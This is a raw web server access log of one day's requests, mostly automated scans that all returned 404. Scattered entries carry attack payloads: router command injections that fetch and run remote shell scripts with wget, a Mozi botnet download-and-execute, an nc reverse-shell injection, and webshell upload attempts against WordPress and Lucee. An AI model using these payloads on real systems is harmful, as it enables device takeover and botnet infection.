161.35.190.246 - - [21/Oct/2025:00:16:05 +0200] "GET /aaa9 HTTP/1.1" 404 952 161.35.190.246 - - [21/Oct/2025:00:16:11 +0200] "GET /aab8 HTTP/1.1" 404 952 161.35.190.246 - - [21/Oct/2025:00:16:15 +0200] "GET / HTTP/1.1" 404 952 125.211.84.251 - - [21/Oct/2025:00:17:56 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:00:49:05 +0200] "GET / HTTP/1.1" 404 952 195.96.129.4 - - [21/Oct/2025:01:34:08 +0200] "GET / HTTP/1.1" 404 952 27.204.197.31 - - [21/Oct/2025:01:44:59 +0200] "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://27.204.197.31:41315/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron HTTP/1.0" 404 952 117.50.245.253 - - [21/Oct/2025:02:36:59 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 176.65.148.11 - - [21/Oct/2025:02:44:14 +0200] "GET / HTTP/1.1" 404 952 204.76.203.212 - - [21/Oct/2025:02:49:49 +0200] "GET / HTTP/1.1" 404 952 79.124.40.174 - - [21/Oct/2025:03:07:45 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 134.122.43.60 - - [21/Oct/2025:03:12:53 +0200] "GET / HTTP/1.1" 404 952 134.122.43.60 - - [21/Oct/2025:03:12:53 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 134.122.43.60 - - [21/Oct/2025:03:12:54 +0200] "GET /get.php HTTP/1.1" 404 952 157.245.39.111 - - [21/Oct/2025:03:13:34 +0200] "GET /.env HTTP/1.1" 404 952 157.245.39.111 - - [21/Oct/2025:03:13:34 +0200] "GET /.git/config HTTP/1.1" 404 952 79.124.40.174 - - [21/Oct/2025:03:45:29 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 54.242.45.243 - - [21/Oct/2025:03:45:36 +0200] "GET / HTTP/1.1" 404 952 45.153.34.54 - - [21/Oct/2025:04:00:19 +0200] "GET / HTTP/1.1" 404 952 195.96.129.4 - - [21/Oct/2025:04:12:33 +0200] "GET / HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:04:17:02 +0200] "GET /login HTTP/1.1" 404 952 71.6.146.130 - - [21/Oct/2025:04:22:10 +0200] "GET / HTTP/1.1" 404 952 71.6.146.130 - - [21/Oct/2025:04:22:15 +0200] "GET /favicon.ico HTTP/1.1" 404 952 125.211.84.251 - - [21/Oct/2025:04:42:53 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 198.235.24.179 - - [21/Oct/2025:04:46:51 +0200] "GET / HTTP/1.0" 404 952 125.211.84.251 - - [21/Oct/2025:04:47:46 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 20.64.105.91 - - [21/Oct/2025:05:11:04 +0200] "GET / HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:05:15:13 +0200] "GET /login HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:05:34:22 +0200] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:05:34:22 +0200] "POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:05:34:23 +0200] "GET /wp-content/uploads/workreap-temp/34HnpQ0gJQxdzH4Hr9xyJhZCXOo.php HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:05:34:23 +0200] "GET /wp-content/uploads/kaswara/fonts_icon/ttngme/ww.php HTTP/1.1" 404 952 167.94.138.200 - - [21/Oct/2025:05:50:58 +0200] "GET / HTTP/1.1" 404 952 167.94.138.200 - - [21/Oct/2025:05:51:05 +0200] "GET / HTTP/1.1" 404 952 167.94.138.200 - - [21/Oct/2025:05:51:10 +0200] "GET /.well-known/security.txt HTTP/1.1" 404 952 204.76.203.212 - - [21/Oct/2025:06:03:55 +0200] "GET / HTTP/1.1" 404 952 45.135.194.44 - - [21/Oct/2025:06:12:43 +0200] "GET / HTTP/1.1" 404 952 165.22.233.23 - - [21/Oct/2025:06:18:23 +0200] "GET / HTTP/1.1" 404 952 165.22.233.23 - - [21/Oct/2025:06:18:23 +0200] "GET /favicon.ico HTTP/1.1" 404 952 162.243.172.170 - - [21/Oct/2025:06:21:07 +0200] "GET / HTTP/1.1" 404 952 157.230.33.107 - - [21/Oct/2025:06:28:04 +0200] "GET /home.asp HTTP/1.1" 404 952 165.154.179.204 - - [21/Oct/2025:06:31:17 +0200] "GET / HTTP/1.1" 404 952 165.154.179.204 - - [21/Oct/2025:06:31:35 +0200] "GET /favicon.ico HTTP/1.1" 404 952 165.154.179.204 - - [21/Oct/2025:06:31:35 +0200] "GET /robots.txt HTTP/1.1" 404 952 165.154.179.204 - - [21/Oct/2025:06:31:36 +0200] "GET /sitemap.xml HTTP/1.1" 404 952 182.124.157.117 - - [21/Oct/2025:06:32:19 +0200] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 952 165.154.179.204 - - [21/Oct/2025:06:35:02 +0200] "GET /update_weights_from_tensor HTTP/1.1" 404 952 195.96.129.4 - - [21/Oct/2025:06:36:41 +0200] "GET / HTTP/1.1" 404 952 176.65.148.11 - - [21/Oct/2025:06:36:52 +0200] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:06:44:38 +0200] "GET / HTTP/1.1" 404 952 117.50.245.253 - - [21/Oct/2025:06:56:50 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 111.70.16.248 - - [21/Oct/2025:07:28:48 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 204.76.203.18 - - [21/Oct/2025:07:40:42 +0200] "GET / HTTP/1.1" 404 952 204.76.203.18 - - [21/Oct/2025:07:49:53 +0200] "GET /bins/ HTTP/1.1" 404 952 204.76.203.18 - - [21/Oct/2025:08:06:46 +0200] "GET /bin/ HTTP/1.1" 404 952 204.76.203.18 - - [21/Oct/2025:08:09:41 +0200] "GET /backup/ HTTP/1.1" 404 952 5.253.86.217 - - [21/Oct/2025:08:14:07 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 952 65.49.1.108 - - [21/Oct/2025:08:26:33 +0200] "GET / HTTP/1.1" 404 952 65.49.1.113 - - [21/Oct/2025:08:27:12 +0200] "GET /favicon.ico HTTP/1.1" 404 952 65.49.1.118 - - [21/Oct/2025:08:27:37 +0200] "GET /?format=json HTTP/1.1" 404 952 65.49.1.108 - - [21/Oct/2025:08:27:48 +0200] "GET /geoserver/web/ HTTP/1.1" 404 952 144.172.89.99 - - [21/Oct/2025:08:42:58 +0200] "GET / HTTP/1.0" 404 952 176.65.149.157 - - [21/Oct/2025:08:47:14 +0200] "GET /login HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:08:53:34 +0200] "GET / HTTP/1.1" 404 952 195.96.129.4 - - [21/Oct/2025:09:14:39 +0200] "GET / HTTP/1.1" 404 952 204.76.203.212 - - [21/Oct/2025:09:19:19 +0200] "GET / HTTP/1.1" 404 952 87.236.176.65 - - [21/Oct/2025:09:20:34 +0200] "GET / HTTP/1.1" 404 952 205.210.31.197 - - [21/Oct/2025:09:36:58 +0200] "GET / HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:10:02:04 +0200] "GET /login HTTP/1.1" 404 952 119.183.72.67 - - [21/Oct/2025:10:11:39 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 119.183.72.67 - - [21/Oct/2025:10:30:06 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:10:50:18 +0200] "GET /login HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:10:53:03 +0200] "GET / HTTP/1.1" 404 952 111.70.16.248 - - [21/Oct/2025:11:26:15 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:11:26:50 +0200] "POST / HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:11:26:50 +0200] "POST / HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} HTTP/1.0" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "POST /apply_sec.cgi HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "POST /goform/mp HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 HTTP/1.0" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "POST /goform/setPingInfo HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "POST /diagnostic.php HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:33 +0200] "GET / HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:34 +0200] "GET /HNAP1/ HTTP/1.1" 404 952 124.198.131.83 - - [21/Oct/2025:11:27:34 +0200] "POST /goform/SystemCommand HTTP/1.1" 404 952 176.65.148.11 - - [21/Oct/2025:11:36:35 +0200] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:12:03:09 +0200] "POST /druid/indexer/v1/sampler HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:12:03:09 +0200] "POST /webtools/control/SOAPService HTTP/1.1" 404 952 204.76.203.212 - - [21/Oct/2025:12:33:16 +0200] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:12:51:07 +0200] "GET / HTTP/1.1" 404 952 176.65.148.11 - - [21/Oct/2025:13:01:26 +0200] "GET / HTTP/1.1" 404 952 36.41.184.119 - - [21/Oct/2025:13:29:59 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 89.248.168.227 - - [21/Oct/2025:13:45:47 +0200] "GET /https://'+location.hostname+': HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:13:48:45 +0200] "GET /login HTTP/1.1" 404 952 195.96.129.4 - - [21/Oct/2025:14:10:26 +0200] "GET / HTTP/1.1" 404 952 2.183.103.2 - - [21/Oct/2025:14:38:40 +0200] "GET / HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:14:48:59 +0200] "GET /login HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:14:49:51 +0200] "GET / HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:14:58:08 +0200] "GET /nagiosxi/login.php HTTP/1.1" 404 952 204.76.203.212 - - [21/Oct/2025:15:40:19 +0200] "GET / HTTP/1.1" 404 952 111.70.16.248 - - [21/Oct/2025:16:08:36 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 45.156.129.52 - - [21/Oct/2025:16:23:30 +0200] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:16:59:33 +0200] "GET / HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:16:59:50 +0200] "GET /login HTTP/1.1" 404 952 176.65.149.30 - - [21/Oct/2025:17:04:46 +0200] "GET /login HTTP/1.1" 404 952 176.65.148.11 - - [21/Oct/2025:17:07:01 +0200] "GET / HTTP/1.1" 404 952 38.29.133.195 - - [21/Oct/2025:18:01:41 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:18:09:35 +0200] "GET /login HTTP/1.1" 404 952 119.183.72.67 - - [21/Oct/2025:18:10:20 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:18:24:11 +0200] "GET /wp-content/plugins/wpcargo/includes/34HnpPxDqVa3uZhFv80ObAHq3ue.php HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:18:24:11 +0200] "POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:18:24:11 +0200] "GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath=34HnpPxDqVa3uZhFv80ObAHq3ue.php HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:18:24:13 +0200] "POST /wp-content/plugins/wpcargo/includes/34HnpPxDqVa3uZhFv80ObAHq3ue.php?1=var_dump HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:18:24:13 +0200] "POST /lucee/admin/imgProcess.cfm?file=/../../../context/34HnpOmPqQtV22oIVGMTPe7di3s.cfm HTTP/1.1" 404 952 194.165.16.11 - - [21/Oct/2025:18:24:13 +0200] "POST /lucee/34HnpOmPqQtV22oIVGMTPe7di3s.cfm HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:18:52:50 +0200] "GET / HTTP/1.1" 404 952 195.96.129.4 - - [21/Oct/2025:19:06:42 +0200] "GET / HTTP/1.1" 404 952 204.76.203.212 - - [21/Oct/2025:19:15:11 +0200] "GET / HTTP/1.1" 404 952 50.116.18.178 - - [21/Oct/2025:19:47:22 +0200] "GET /shell?while%20%5B%20%24i%20-le%205%20%5D%3B%20do%20curl%20%22http%3A%2F%2F50.116.18.178%3A80%2Ffdt%24i%22%3B%20%28%28i%2B%2B%29%29%3B%20done HTTP/1.1" 404 952 50.116.18.178 - - [21/Oct/2025:19:47:22 +0200] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=while%20%5B%20%24i%20-le%205%20%5D%3B%20do%20curl%20%22http%3A%2F%2F50.116.18.178%3A80%2Ffdt%24i%22%3B%20%28%28i%2B%2B%29%29%3B%20done HTTP/1.1" 404 952 117.50.245.253 - - [21/Oct/2025:19:54:11 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 176.65.149.157 - - [21/Oct/2025:20:06:25 +0200] "GET /login HTTP/1.1" 404 952 3.131.215.38 - - [21/Oct/2025:20:48:08 +0200] "GET / HTTP/1.1" 404 952 204.76.203.219 - - [21/Oct/2025:21:04:05 +0200] "GET / HTTP/1.1" 404 952 195.96.129.4 - - [21/Oct/2025:21:52:06 +0200] "GET / HTTP/1.1" 404 952 204.76.203.212 - - [21/Oct/2025:22:12:43 +0200] "GET / HTTP/1.1" 404 952 161.189.236.195 - - [21/Oct/2025:22:16:57 +0200] "GET / HTTP/1.1" 404 952 89.248.167.131 - - [21/Oct/2025:22:29:52 +0200] "GET / HTTP/1.1" 404 952 89.248.167.131 - - [21/Oct/2025:22:29:52 +0200] "GET /favicon.ico HTTP/1.1" 404 952 139.162.135.143 - - [21/Oct/2025:23:05:26 +0200] "GET / HTTP/1.0" 404 952 204.76.203.219 - - [21/Oct/2025:23:05:44 +0200] "GET / HTTP/1.1" 404 952 139.162.135.143 - - [21/Oct/2025:23:05:46 +0200] "GET / HTTP/1.0" 404 952 139.162.135.143 - - [21/Oct/2025:23:05:46 +0200] "GET / HTTP/1.1" 404 952 87.120.191.94 - - [21/Oct/2025:23:09:07 +0200] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2087.120.191.94%2031331%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 952 79.121.114.41 - - [21/Oct/2025:23:19:50 +0200] "GET / HTTP/1.0" 404 952